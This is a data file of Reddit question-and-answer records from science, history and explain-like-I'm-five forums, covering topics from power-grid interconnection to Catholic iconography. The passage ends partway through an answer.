{"q_id": "1r5n2t", "title": "When I vacuum seal something, am I increasing the atmospheric pressure of earth?", "selftext": "When a vacuum tube is created, or a vacuum seal package is created and the air is evacuated, is the now empty space making earth's atmosphere's pressure greater? I know if it is, it's only a very, very minuscule amount, but is that what's happening?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1r5n2t/when_i_vacuum_seal_something_am_i_increasing_the/", "answers": {"a_id": ["cdjv1la"], "score": [12], "text": ["Good question!\n\nIntuitively, if you have a rigid container which contains a tube at equilibrium, if you then create a vacuum within that tube, you'll be increasing the pressure of the rest of the container.\n\nBut earth's atmosphere isn't a rigid box; it exponentially decays towards zero density far from the surface. The hydrostatic pressure you feel at the surface of the earth is due to gravity acting on all the air above you. Now, gravitational attraction decreases with height... and if you were to create a vacuum chamber at the surface, this would have the effect of pushing air up, towards higher altitude, where gravity is weaker. So I could see that creating a vacuum chamber at the surface of the earth might actually *lower* the ambient atmospheric pressure. Analogous to the notion that if Earth's radius doubled, but the total mass of air stayed the same, the ambient pressure would be much lower.\n\n\nI'm just spitballing here, so corrections/refutations/alternatives welcome."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "74bi0e", "title": "How does one country export usable electricity to another country? especially at great distances?", "selftext": "If a country has generated electricity to excess and wants to sell it what is the scientific (or technical)  method that this is accomplished? Especially over oceans, mountains across different continents? \n\nAre there any other challenges or obstacles with this task? \n\nI would appreciate any other interesting facts about global electricity or energy trade (especially having to do with renewable sources)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/74bi0e/how_does_one_country_export_usable_electricity_to/", "answers": {"a_id": ["dnxfif7"], "score": [11], "text": [" >  If a country has generated electricity to excess and wants to sell it what is the scientific (or technical) method that this is accomplished? \n\nNo different than how power within a country's grid is distributed between consumers and the various generators. A transmission line is built two connect the two regions, power flows down it, and you stick an power/energy meter on to see how much is being transferred. The amount of power you can transfer is limited by the interconnecting line's capacity, which is governed by how much current it can take before the conductors (or transformers on the ends) overheat. \n\n\nIf our lines were simple DC lines, power flows down a line simply by one end having a higher voltage. The side of the line where the power is being produced would be higher voltage, and the current and power would flow to the other end at a lower voltage where it is being consumed. The power grid is a little bit more complex being AC, with factors like power factor, reactive power, and frequency all butting their head in, but it works the same way. At any given time, power is generated and it is being transported and consumed somewhere at that instant. In real time power flow, power generation, and energy economics are managed within grids and between them. \n\n >  Especially over oceans, mountains across different continents? \n\nThey don't, not unless the gap between the grids is small enough to feasibly build a transmission line over. Asia and Europe have interconnected grids. France and England have transmission lines buried across the sea. North America and Africa are not connected and don't exchange electric power. Mainland American and Hawaii do not have an interconnected grid. \n\n >  Are there any other challenges or obstacles with this task? \n\nIn order to connect two grids, they have to have the same frequency and phase. Frequency is the rate at which the alternating current swaps direction, and phase is how delayed the alternating is between two grids (a grid 180 degrees out of phase would be swapping the opposite direction).  Basically, if the two waveforms don't match, the grids can't be connected. \n\n\nEurope and North America could not be simply connected by a standard transmission line because Europe uses 50 Hz and NA uses 60 Hz. \n\n\nNorth America also has several different grids within itself, all in different phases. Most of the west (BC, Alberta, Oregon, California, Nevada, etc) is in one grid. Most of the east is in another (Ontario, New York, Carolina, Florida, etc.) is in another. Quebec and Texas have their own grids (shocking it would be those two, I know). These grids cannot be interconnected by a simple transmission line as they are out of phase. \n\n\nTo connect grids of different frequencies or phases, you need special DC transmission lines (or a couple other tricks). One ends\n converts their power to DC, it travels across the line, and then it is transformed back into AC to match the other grid.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "331qn6", "title": "During and after World War 2, was there ever a fear internationally that the United States would build an empire like those of Britain, Imperial Japan, or the Third Reich?", "selftext": "What level of faith did nations and individuals outside of The United States have in the new superpowers intentions? Did they simply see it as a changing of the guard, did they expect the United States to be simply the new imperial overlords?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/331qn6/during_and_after_world_war_2_was_there_ever_a/", "answers": {"a_id": ["cqhx7zk"], "score": [7], "text": ["This question takes a very different tone depending on whether you're talking about the Warsaw Pact, western Europe, or unaligned countries.  Are you specifically interested in the views of countries in any one of these categories?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cfg28s", "title": "how and why does the shampoo and skincare industry keep coming up with \"new and improved\" products?", "selftext": "You'd think after a certain point and all that research a certain skin lotion would've reached peak performance for a lotion.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cfg28s/eli5_how_and_why_does_the_shampoo_and_skincare/", "answers": {"a_id": ["eu9oc4i", "eu9okxc", "eu9p6bc", "eu9qa46", "eu9qtg9", "eu9wlcq"], "score": [18, 19, 5, 7, 6, 2], "text": ["Scientific advances may genuinely lead to improvements in how we can clean and care for our skin. It\u2019s also more likely that they are reinventing their products with minor changes so that customers may be tempted to buy them and try them out.", "$$$$$  \n\n\n.....people like \"new and improved\"\n\nIts a marketing tactic. \n\nNot sure this is enough words to meet this subreddit's minimum number of words  requirement  .... I think by now I should be good.", "Simply put it's just buzz word to make you buy it. It's like when a shop says \"Best coffee\" that have now actual method to prove it's the best but it makes you want to try it.", "I always take these adds as the company admitting the product has been bad up to this point, but hoping for a new chance with the costumers now after they've pulled it together", "I think op may be referring more to the \"revolutionary coq10 and unicorn blood, make you look and feel 78 years younger in just 6 weeks by visibly reducing fine lines\" skincare industry.....and the thing is these companies will add any inert, exotic sounding substance, and add it to their oil and water formula to tout a revolutionary advancement in skin care.\n\nIt's all a magic trick, where, when applied, the skin is filled in and smoothed over by a layer of cream, which acts like a snapchat filter for your face. You, the consumer are fooled into thinking this product has somehow stretched and tightened your face up, the moisturizer is absorbed and evaporates,  and you're able simpson again.  \n\nLather rinse repeat.....profit!", "A lot of it is marketing. Sometimes there are legitimately improvements. New, milder detergents that aren\u2019t as destructive to your skin/hair, etc. I, for one, kinda appreciate it because I\u2019m allergic to cocamidopropyl betaine, which is far and away the most common detergent used currently. A lot of companies shifted away from \u201cionic surfactants\u201d like sodium lauryl sulfate based on claims that it was more harmful to skin/hair. But diversity of product compositions is what allows me to clean myself without my skin falling off."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "9e8lfo", "title": "How did housewives in the mid 20th-Century West occupy their time during the day when their husbands were at work and their children at school?", "selftext": "For specificity, I'm thinking of the era of about 1945-1980. I'm skeptical that housework alone could not have been all that time consuming (let alone diverting), given the relatively modern appliances and conveniences of the middle and even lower classes at this time, but perhaps it was. If so, I'd be interested in what quotidian tasks a woman might spend her time on. If not, what else might she do in her leisure time?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9e8lfo/how_did_housewives_in_the_mid_20thcentury_west/", "answers": {"a_id": ["e5n9tr9"], "score": [13], "text": ["Yes, housework was and still is time-consuming. I'm not sure why you're skeptical about that? For women without servants, particularly ones with children, housekeeping was a full-time occupation regardless of technology.\n\nOne thing that's important to bear in mind when evaluating the plight of the mid-twentieth century American housewife is that her situation was the result of a century of change. Over the course of the late nineteenth and early twentieth centuries, housekeeping became more industrialized, with the introduction of machines available for home use and more processed, standardized foods. This gradually reduced the amount of specialized skill needed to take care of a home, which in turn eroded the regard that was given to housekeeping wives: instead of being a necessary part of the household economy, a housewife in the twentieth century was seen as a freeloader; it was not her place to be critical of or outspoken to her husband, because she was not bringing value to the table. Popular culture after World War II, in contrast to the nineteenth-century arguments that men needed to work to deserve their wives, stressed the supposed \"ease\" of the housewife's lot and encouraged men to feel that their financial support merited women dancing attendance on their needs. Women's need to handle both home and work during World War II increased the problem, since their lack of time to cook brought in the cake mixes and soup packets which have survived until today, as well as time-saving recipes like \"cream of mushroom soup + chicken\". At the same time, as a result of being left with very unskilled but still time-consuming tasks (definitely *not* diverting) as well as being publicly reviled, women who were primarily housewives were more dissatisfied than ever. While we need to avoid glorifying the system under which a housewife was forced to have a domestic career instead of earning her own money, we also need to recognize that doing skilled work that is recognized as such even if not compensated with a wage - and, even more, as morally uplifting and beneficial to oneself and one's family - can bring satisfaction in the same way that it does in a paid job.\n\nFood still needed to be cooked, clothing washed, surfaces and carpets cleaned. These were all typically done with commercial products, from boxes of pudding powder to laundry detergent to Pine-Sol, but still required a certain amount of time. For instance, doing the laundry would take less skill in cleaning specific types of fabric unless something had a particularly tough stain and less vigorous arm strength, but you would have to stick around the house in order to pull the clean but wet clothing out of the washer before it got musty, and then hang it up outside or put it in the dryer, again waiting to take it out before it creased in the machine; many items also needed to be ironed by hand, particularly men's shirts. Cooking usually needed less prep time, but of course the food spent as much time in the oven, and again required the housewife to monitor it and stay nearby. While the active time spent on immediate household chores by employed and unemployed wives decreased, unemployed wives/housewives/stay-at-home moms spent the same amount of time on their work overall because they added active childcare as well as gardening and pet care to it, as well as time driving - themselves to the grocery store, children to and from school or playdates or activities, possibly even husbands to work or the train.\n\nIn their spare time, middle-class white suburban housewives had very few options, and one of the most common feminist talking points re: housewives in this period had to do with their isolation and lack of stimulation. Suburban homes were farther apart from each other than urban ones, and farther from shops; suburban women might be at home for almost the entire day without seeing anyone but their children and husbands. Soap operas could provide some moderate entertainment, as could novels, and there was the potential of using the PTA as an extension of their motherly duties, but there just wasn't much scope for the intellect and imagination for housewives who didn't also do some work outside the home. (I specify \"middle-class white suburban housewife\" because this is the group that truly fit the pattern of what you've described in the question - working-class \"housewives\" typically did something at least part-time to bring in more money, because their husbands did not make enough money to support a spouse whose labor didn't contribute all that much to the domestic economy.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9zlne1", "title": "what doctor phil does", "selftext": "So I was watching a Dr Phil recap where a black teen called the father racist and Dr. Phil responded \"Don't pull the race card on someones father who you have been sexually abusing\". But there was no evidence of sexual abuse, so what does doctor phil do specifically and is he licensed.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9zlne1/eli5_what_doctor_phil_does/", "answers": {"a_id": ["eaa508b", "eaa53sl", "eaa88yz", "eaaa90z"], "score": [6, 3, 2, 4], "text": ["It's my understanding that he was a psychologist. He helped Oprah on a civil case in thr 90s and she turned him into a self help guru. Eventually he got his own talk show. He allowed his license to lapse so he isn't a professional therapist anymore. ", "Dr. Phil is a TV show host.  He has a Ph.D. in clinical psychology.  He opted to let his license to practice psychology lapse in 2006, as he is no longer working as a doctor, but as a TV show host instead.", "He was recently interviews on The Breakfast Club, it\u2019s on YouTube\u2014not a hugely stimulating interview, but it was definitely interesting. He talks about his background and how he got into TV and a bit of the process and how it works. I recommend it. ", "Dr. Phil does a whole lot of stuff that is NOT OK for a licensed therapist to do and say. He berates people, he blames them, he talks over them, he humiliates them, he parades them in public for entertainment, he exploits them, etc. These various things might get him reported to the appropriate monitoring body as being unethical, but he's let his psychology license lapse so the governing body can't sanction him. And his show is filmed in California, where he's not been licensed, while he lives in Texas, where he was originally licensed. He didn't like being a clinical psychologist, so when Oprah met him, he was working to coach people on the stand in court cases. He was hired by Oprah, who was in Texas due to a lawsuit against her (for criticizing hamburgers). He coached her on how to act to win the sympathy of the jury. Oprah was impressed by him and brought him onto her show on a regular basis to deal with psychological issues. Eventually he was on once each week and those episodes performed better than other episodes, so she spun him off into his own show. He also writes a column in O Magazine."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "a1f9jd", "title": "why is it socially acceptable for people to say that they have seen god or felt god's presence but not when they say that they saw a ghost/alien?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a1f9jd/eli5_why_is_it_socially_acceptable_for_people_to/", "answers": {"a_id": ["eapazlb", "eapey7y", "eaplkrk", "eapo36z", "eapo82w", "eapp3p7"], "score": [84, 177, 3, 5, 2, 2], "text": ["I'll explain it this way: \n\nIf there is a town with two thousand people and in this town there are a thousand dumb people who believe in ghosts, and ten dumb people who believe in flying pigs, that means half of the town believes in ghosts but only 0.005% believe in flying pigs. If someone says they saw a ghost, 50% of the population will believe it because it validates their beliefs. It's socially acceptable because every second person is okay with that thought. If someone says they saw a flying pig, less than 1% will believe them. \n\nBasically it's socially acceptable because there are more stupid people who believe in God than there are stupid people who believe in aliens. ", "It's not. I'll think the same of you if you were to explain an action or decision by a presence you felt, be it god, a ghost, or whatever else.\n\nIt's socially acceptable in social circles where god is considered a thing. Same for ghosts, you can claim you felt a first with your paranormal club. Believing in god is just more common than believing in ghosts", "What's always puzzled me is that if someone claimed to have had a long conversation with a burning bush in 2018, even the most hardcore believer would recommend serious medication and therapy.  But that is totally accepted in the story as fact.  This makes no sense to me.", "In my country we don't find it socially acceptable for people to say they have seen God or felt God's presence. It's more acceptable that someone has seen a Ghost or a Ufo. So this statement isn't true everywhere.", "Because many, many more people believe that God is an active, present force in their lives than believe that aliens are wandering around on Earth.\n\nI'm not sure I agree with your premise when it comes to ghosts though. Plenty of people claim to have seen them or felt their presence, and they aren't generally sent to psychiatric hospitals or shunned. ", "I have never been in a situation where is was acceptable for someone to say that they have literally seen God. That is blasphemy if you're a Christian. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "2dje5d", "title": "how does my cat not get electrocuted when she chews completely through my phone charger, laptop charger, lamp cords, etc...?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2dje5d/eli5_how_does_my_cat_not_get_electrocuted_when/", "answers": {"a_id": ["cjq0tid", "cjq40i4", "cjq9sr2", "cjq9wel", "cjqc63j", "cjqdz72", "cjqkukx"], "score": [47, 2, 7, 2, 2, 4, 6], "text": ["In the case of the phone and laptop charger, the voltage is so low that it likely cannot penetrate the outermost tissues of the cat, giving it the sensation of being electricuted. This is called resistance. The resistance of the cat (or at least the skin in its mouth) is high enough to block the electrical current being transmited by the very low voltage/current device.\n\nThe lamp cord, on the other hand, should be running at 120V AC (assuming you are in the US) and should not just cause severe pain, but also burns and possible death. I suppose the cat could just be extremely lucky, only chewing through one wire at a time (the three in the cord being live, neutral, and ground). As long as the cat doesn't complete a circuit between the live wire and either of the other two, it won't be electricuted. This would, however, have to be one lucky as hell cat.", "My dog chewed through my laptop charger cord when he was a puppy. It didn't electrocute him but it certainly gave him a good shock. He has never chewed a cord again.", "Cats do not abide by the law of physics.", "I don't know about the electrical side of things. However, I have seen cats with severe ulcers in their mouths from this habit. This is especially true from christmas tree lights. So please try to break her of this habit!", "I had a pet rabbit when I was 8 'gizmo' who lived in the house one Christmas he chewed through the Christmas tree lights and blew himself across the room. This kills the gizmo. :(", "You'll likely see a different result on the 9th lamp cord she chews through", "The lamp cord can very easily kill your cat.\n\nSource: I was working on my laptop, much to the annoyance of my cat, who felt I should be paying attention to her.\n\nTo protest the lack of pets, she chewed on the 120v side of my power cord, and made it through.  She was spasm-locked onto the cord, luckily for her, it was plugged into a power strip at my feet, and I was able to kill the power switch in a little under a second.\n\n45 minutes of finding the now terrified cat, loading her into a carrier, bandaging arms, driving to the vet, $250 ish, a burnt mouth, and an overnight stay for observation, she now no longer chews on cords.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "9b179l", "title": "what is meant by unhackable/unbreachable, and is anything truly that?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9b179l/eli5_what_is_meant_by_unhackableunbreachable_and/", "answers": {"a_id": ["e4zk4r8", "e4zkfo2", "e4zl6sd", "e4znxpq", "e502kgm"], "score": [5, 4, 4, 4, 2], "text": ["You're meant to take the word at face value, the people who use them want you to. But it's never actually true. Eventually, someone could find their way in. ", "If something is called unhackable/unbreachable, that means someone's trying to sell you something either they don't understand, or something they hope YOU don't understand -- for an inflated price.", "The only thing that is unhackable and unbreachable is your mind. So far.\n\n Computers can always be hacked or breached given enough time and incentive.", "there are some encryption algorithms which, if implemented correctly are unbreakable with current tools (and the sun would go nova before a brute force attack is likely to succeed using current tech), without inside assistance.\n\n\u200b\n\nThe caveats/qualifiers in that statement are why hacks/breaches are so 'common'.\n\n* \"if implemented correctly\" - very often developers take shortcuts with security routines to reduce costs and make them faster for the users.\n* \"with current tools\" - a lot of recent breaches were feasible  only because people were able to rent lots of virtual computers ( Amazon web services, whatever google's thing is called). This wasn't considered as a possibility years ago when current security systems were designed.\n* \"using current tech\" - one type of cryptography relies on assumption that it's hard for computers (resource intensive) to factor very large numbers that are the product of 2 primes (i.e. there's only one way it can be factored). So far, this assumption has been correct, but we haven't proven that it is intrinsically hard, we just don't know how to do it any easier, and can't imagine a way it could be easier.\n* \"without inside assistance\" - This is the MOST common cause (by far) of breaches. Somebody with legitimate access leaks the information or weakens the security systems. Sometimes it's intentional, often it's simple carelessness (e.g. they lost an unencrypted flash drive with sensitive data) or lack of training (they don't know the proper procedures, or why FlobadobMin needs to be between 1500 and 2300)", "Computer system can be 100% secure. It's not even difficult to create completely secure system.\n\nHowever, humans using it are not. Also, there's a proverb saying, security ends if attacker has physical access to the computer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "8eupf3", "title": "why is catholicism so much bigger on imagery (physical representations of god, jesus, saints, etc) compared to other religions?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8eupf3/eli5_why_is_catholicism_so_much_bigger_on_imagery/", "answers": {"a_id": ["dxy6ora", "dxy6u7z", "dxy8u5k", "dxy9q13", "dxy9zk0", "dxyb9qs", "dxyd6vr", "dxydc9r", "dxye7hv", "dxyhxx6", "dxyhxxg", "dxyhzgv", "dxyiht8", "dxyjmpg", "dxyjn1r", "dxyk6la", "dxyl7r2", "dxylsaq", "dxymao7", "dxymgmr", "dxymz1i", "dxyp4qy", "dxypkcr", "dxypp47", "dxypu2b", "dxyqcx1", "dxytpzy", "dxyz5jg"], "score": [25, 42, 453, 4262, 4, 16, 16, 183, 2, 7, 3, 73, 17, 2, 3, 4, 6, 2, 5, 4, 114, 3, 2, 2, 2, 2, 2, 2], "text": ["Because when the reformation happened, Martin Luther (the friar, not civil rights activist of the 1900s) and his followers believed that worshipping false idols was not the way to go. \"False idols\" being anything except for god. \n\nLuther believed this-- idolatry-- to not necessarily be a sin, but to be something that makes people stray from the path of god. In his mind, people should worship god, not depictions of saints, biblical characters or the like. He did not believe god was corporeal, and therefore should be worshipped more as an abstract as opposed to a physical manifestation or image that we create. \n\nThis \"rebellion\" from the catholic church at the time is essentially what started the creation of every other type of christianity, but this was the creation of protestantism. ", "Some like Islam specifically ban images of God. \n\nProtestants often consider it to be idolatry, or at least borderline idolatry. Same with praying to Saints. ", "Short version: the Iconoclasm controversies of the 8th and 9th centuries. Tons of debate over whether icons are good or bad. Ultimate conclusion, they're good, we should make more pretty pictures that look like our heroes. (The Ten Commandments actually say you can't *worship* your graven images, not to not make them. See: ~~Exodus 23~~ Numbers 21 for God commanding them to make graven images) On the other hand, Islam outright forbids imagery, and Judaism just isn't as common. The other guy got the reformation bit right though \n\nEdit; Thanks for calling me out guys, that was a pretty eggregious mistake. Don't know where that came from.\n\nAlso, just FYI, if you think Catholics have a lot of imagery, you should check out the Orthodox.", "Like some other people have said, most Christian sects and related religions (like Judaism and Islam) are largely against religious art, since they see it as a slippery slope to worshiping idols. The Catholic Church is different because during the middle ages, Western Europe had terribly low literacy rates, so pictures were used as reference material for teaching history and belief to the common people. A depiction of a saint, or a scene from the bible, was full of information and would help viewers learn and remember that information. So while other churches were willing to destroy their icons, the Catholics would have been giving up a valuable teaching tool, and felt it would hurt their followers to get rid of them.", "Catholicism is pretty tame in comparison...\n\n[For example](_URL_0_)", "Western Christianity (which later became Roman Catholicism) faced a lot of barriers to growth in its first few centuries. The religious experience of the 1st-5th century Mediterranean region was very different than what we would recognize today; beneath a layer of civic religion (maintained by the authorities in the various regions) which was impersonal and essentially duty-driven, there were networks of hyperlocal beliefs, shrines, and gods; beneath those were generalized ancestor worship and veneration of one's household gods. Typically, these types of religious practices were short on hope and the promise of a good afterlife; today we might describe them as emotionally unfulfilling.\n\nIn the Hellenistic era (4th-1st century, BC), scores of western and eastern \"[mystery cults](_URL_1_)\" sprang up. These were often small and exclusive religious clubs with secret rituals that promised personal enlightenment and enrichment. These often had ethnic, philosophical, or mythical bases. Some better-known examples include the cult of Pythagoras; of Mithras; of Isis; Eleusinian mysteries; of Dionysian Mysteries; of Orphic Mysteries, etc. These cults supplemented the civic and local religions by appealing to a more emotional dimension of religiosity and functioning as a \"club\" for those inducted into the rites. The rites often also included talismans and gestures; magic symbols and artifacts.\n\nThen you have a preacher from Palestine start making some noise in a provincial backwater, and he ends up being executed for his efforts. Some of his followers start picking up the message and spreading it around. A couple of generations later, they start writing down their accounts and men like Paul of Tarsus start building and enforcing a network of believers. For its first few centuries, Christianity existed in its various forms as a set of mystery cults. Secret meetings; elaborate rites;radical political notions; eastern origins; etc. ticked all the necessary boxes and more. They all shared themes of philosophy and redemption, but they offered something that many of the other cults and religions didn't: a personal connection with deities and a path to paradise for *any* person. That was all well and good, but most early forms of Christianity also required a certain exclusivity among members. Early Christianity was very contentious, mostly within itself; the various debates raged, and various splinter groups formed their own theologies. But once the authorities caught wind of groups of people who weren't performing their civic duties of veneration and sacrifice, it became a real problem.\n\nThis is where the iconography in your question comes in. To survive, Christianity had to not only avoid the persecutions, but also make itself appealing enough to people who already have their own traditions. Unsurprisingly, one of the biggest debates within the first century or so was whether adult converts had to be circumcised. Another was the degree to which Christianity itself was a continuation of the radical Zionist separatists who precipitated the Second Revolt in which Jerusalem was sacked and the last holdouts finally killed themselves at Masada after a years-long siege by Roman armies. You can read Paul's letters chastising and cajoling and instructing various communities on his version of what Christianity ought to be. \n\nChristianity still had to grow despite these challenges, so various other mystery cults and local religious practices began to be incorporated rather than simply rejected. The ecumenical calendar was structured around pagan holidays; gods and demigods were rebranded as saints. The iconography of Isis and her son Horus was converted to that of Mary and Jesus (you can look at Egyptian statues of Isis with Horus on her lap; the positioning and structure almost interchangeable with the statues of Mary and Jesus that you see on churches and cathedrals even into today). The magic symbols of ankh and winged phallus became the cross and ichthus. Veneration of ancestors' portraits became veneration of saints' portraits (icons of saints becoming popular in eastern Christianity, later Orthodoxy). Holy relics of martyrs and other objects replaced shrines and ancestral objects. These signs, symbols, and appropriations became integral to the development and spread of Christianity. \n\nCenturies later, by the time the Roman Catholic Church emerged as a religious authority, they not only maintained the Roman administrative structure, they also recognized that the popular and ubiquitous symbols and iconography fostered the faith and eased conversion.\n\nIf you're interested, the excellent *Frontline* series [*From Jesus to Christ: The First Christians*](_URL_0_) is very informative on the topic, with rich historical and theological context beyond the issues of iconography. You can watch for free online.", "It's not really.  It's bigger on images than Judaism, Islam, and Protestantism, all of which follow to one extent or another the prohibition on graven images that is basic to Abrahamic religions.  That prohibition is the unusual thing, most religions tend to make use of imagery.  Catholicism is just more like your average religion in this way, not less like it.  It only seems unusual to you because the other major western religions are far less imagery-focused than average.", "Catholicism is actually comparable in their relatively liberal use of imagery/iconography in depicting religious subjects with many other sects/religions. Eastern Orthodox, Judaism, Buddhism, various Shamanistic religions and Hinduism all use large amounts of physical representation\n\nThe perception that Catholicism is bigger on imagery in large part stems from the predominance in the West of Protestant Christianity which emphasizes austerity and simplicity in worship, eschewing the pomp and ceremony of Catholicism. Islam contributes to this contrast as it similarly emphasizes austerity and simplicity in places of worship. ", "Us 5th Adventist Canaanites aren't big on showing stuff.\n\nPlus all our sacred relics were stolen by Crusaders or destroyed by people who considered our religion blasphemy.", "Because dour Cromwellian Protestants. I'd argue that both Orthodox varieties are pretty darn good on imagery, Moscow and Petersburg have plenty of religious art and iconography. ", "Everyone pretty much beat me to it. The idolatry argument is an unfortunate side effect to it- they arent idols, they are symbols that are interpreted as our faith. ", "Well I think you'll find that in non-abrahamic religion, imagery is in fact a massive part of the faith. I mean like nine of the top ten largest statues in the world are of Buddha, right? Hindu shrines are very ornate and depict the gods, same with many other Asian cultures. Catholicism is only unique in this aspect compared to the religions just around it. Protestantism and Islam are unusual in this respect. \n\nYour perspective may be biased by what artifacts you've been exposed to. Lots of Asian, African, and pre-Christian European religious art work hasn't survived to modern times, while  the Catholics have  been able to preserve theirs very carefully.", "Well, the short answer is they aren't.\n\nMost Religions of the world have physical representations of God or gods.  If you look at the top 10 most practiced religions only 2-3 of them DON'T have physical representations.  Those being Judaism, Islam, and some parts of Christianity.", "Because Catholicism is the first great advertising agency. They took the Abrahamic Religion business model and turned it into a multinational. Just look at the cross. There hasn't been a better company logo since the Nike Swoosh. The early Catholic church had some very smart image people.", "A picture says a thousand words, which, during a time of mass illiteracy (the Middle Ages), was extremely beneficial.\n\nEdit: added the period I was referring to.", "Are they though? I see tons of imagery of Hindu and Buddhist icons. ", "It's actually the other way around - the religions that are opposed to religious iconography are the minority. If you look at most historical religions, they were big on religious iconography - look at the Ancient Egyptians or Romans. And indeed, this is true of the largest Christian sects, such as Christianity, as well. The ones who are opposed are the minority.\n\nJudaism is mostly to blame in this case. From Deuteronomy:\n\n >  \"Thou shalt not make unto thee any graven image\"\n\nBasically, the Jews at some point decided that religious images were tantamount to idolatry, worshipping the idol rather than God directly, so they banned such things. If you recall the whole Golden Calf incident from Exodus, that is an example of their opposition to such.\n\nIslam, Christianity, and Ba'hai are all derived from Judaism, and Samaritanism is an ancient Jewish schism. Islam and Christianity are two of the largest religions in the world, while Ba'hai, Judaism, and Samaritanism are all quite small (though Judaism is well-known in the West).\n\nSo why aren't Christians iconoclasts? It is actually a rejection of Judaism - it was basically seen as heretical and Jewish to take the whole graven images thing literally, instead seeing it as a prohibition against idol worship. The problem with the golden calf was that the Israelites were worshiping it *instead of* God, and they believe that as long as you remember that the religious icons aren't God, they can be useful. Worshiping an idol is still wrong in Catholicism and other Christian religions, but kneeling in front of a cross or a painting of the Virgin Mary or whatever isn't actually worshiping the object itself, it is worshiping the subject of the icon.\n\nIt was also probably a result of the fact that Christianity spread throughout the Roman Empire, which had all kinds of religious iconography of the Roman gods, and so having stuff of Jesus and the saints was a natural continuation of that.\n\nThus, the Catholics, Eastern Orthodox, Anglicans, and many other Christian sects are fine with religious icons (or, at least, *Christian* religious icons; historically, many Catholics engaged in iconoclasm of competing religious iconography).\n\nSome Protestant sects engage in iconoclasm because they are more fundamentalist - the same reason why creationism and similar things are more common in such sects. They take the Bible more literally and in many cases rejected Catholicism and its trappings as heretical so engaged in a lot of iconoclasm.\n\nIslam - particularly Sunni Islam - is pretty iconoclastic, though Shia Islam is less so.\n\nAnd iconoclasm itself amongst various sects tends to come and go in waves - there have been many periods in which religious iconography was more or less common amongst the various theoretically \"opposed to religious icons\" groups. For instance, the prohibition against depictions of Mohammad in Islam is not only not universal but was not universal historically, either.", "The route that Catholicism took ended up being much more multi-cultural than the others. Most branches of Christianity latched onto a single culture, more often that culture gets labeled onto that branch: Greek Orthodox, Ethiopian, Assyrian, etc. These churches were very good at working in their own culture.\n\nFrom the start, the Catholic Church wasn't a church bound to a single culture. Even the word, \"catholic\", means universal. And btw, the original meaning of \"church\" was gathering, not the building. So you see how this works? The Ethiopian gathering tended to only gather Ethiopians. The Assyrian gathering tended to only gather Assyrians. The universal gathering? well, you get the point.\n\nBecause the early Catholics positioned themselves as multi-cultural and seeking to reach all cultures and people, it pigeonholed itself into a problem. Specifically, a language problem. Luckily, art is universal. Someone who cannot speak a language of the artist can understand what they are trying to imply in their art.\n\nLet's take some examples. Here's some of the oldest Christian Art in the world, in Rome: [The catacombs](_URL_1_). This piece very clearly displays an older man teaching younger children. (Oh yea, btw, most of the apostles were teenagers). You don't have to speak Latin to know what this is showing. A central figure teaching others. [Here's another image](_URL_0_). Again, you don't have to speak Latin to know that the man being touched is smiling and the woman cloaked feels alone.\n\nArt played a very powerful role in Catholicism, very early. And because it chose to go to the main trade hubs of the Roman Empire, it quickly was able to express its morals and ideas to a wide range of people very quickly. Working out the finer details came come later. For a downcast slave class of the Empire, the art expressed the point. This was your god. He cared for you. With that, the \"Universal Gathering\" very quickly became the Catholic Church we know today.", "I grew up Catholic; been a Catholic school boy all my life from kindergarten to college, but am somewhere between an agnostic or atheist. \n\nThank you all for the different perspectives. It's always been fascinating for me how that aspect of most Catholic churches is different from other religious groups. \n\nI'm not entirely unfamiliar with some of the reasons, for example, like Islam and how strictly they adhere to not having any symbols for the holy. I know there have been cases wherein muslims would take great offense at people who attempt at such personification / symbolification (i know - it's not even a real word) of holy figures.\n\nEspecially growing up in the Philippines, physical symbolism is on a greater level, and most of the time bordering on idolatry. You can see it from people lining up after mass to approach the priest holding religious things like rosaries, small figurines of angels, saints, Mary, and Jesus. The priest would then say a prayer of blessing and basically spray Holy Water to these people holding up their symbols.\n\nAlso, there's a lot of people with handerchiefs and small pieces of clothes who would rub them on statues in churches. I remember growing up, during Holy Week, my family participates in the town procession by setting up a float that is basically reminiscent of the agony in the garden. It would be set up with flowers all around and paraded all around town before it stops at the church. It gets really crazy since people would want to take the flowers from the float because they think it's blessed in some way, even before it has been blessed by the priest in church. \n\nPeople would do crazy things just for these idols. ", "They want you to feel a more personal connection with the people who are eternally disappointed with you.", "Catholic theology lecturer here.\n\nNo one's mentioned it so far, but the deepest rationale for sacred iconography (images), in addition to a number of other sensible elements (e.g. incense, candles, sacred architecture, etc) is what might be called the \"incarnational analogy\" of faith. Because we believe that God, in an earth-shaking way, took on flesh and became human (which we refer to as the incarnation), God has decisively restored and reclaimed broken humanity, and creation as a whole, as good. In light of the incarnation, Catholics can't (or at least shouldn't) treat matter and the material world as something to be shunned or avoided as tainted/evil/weak *simply speaking.* The positive side of this is we love employing created things, if they *work*, in our liturgy - 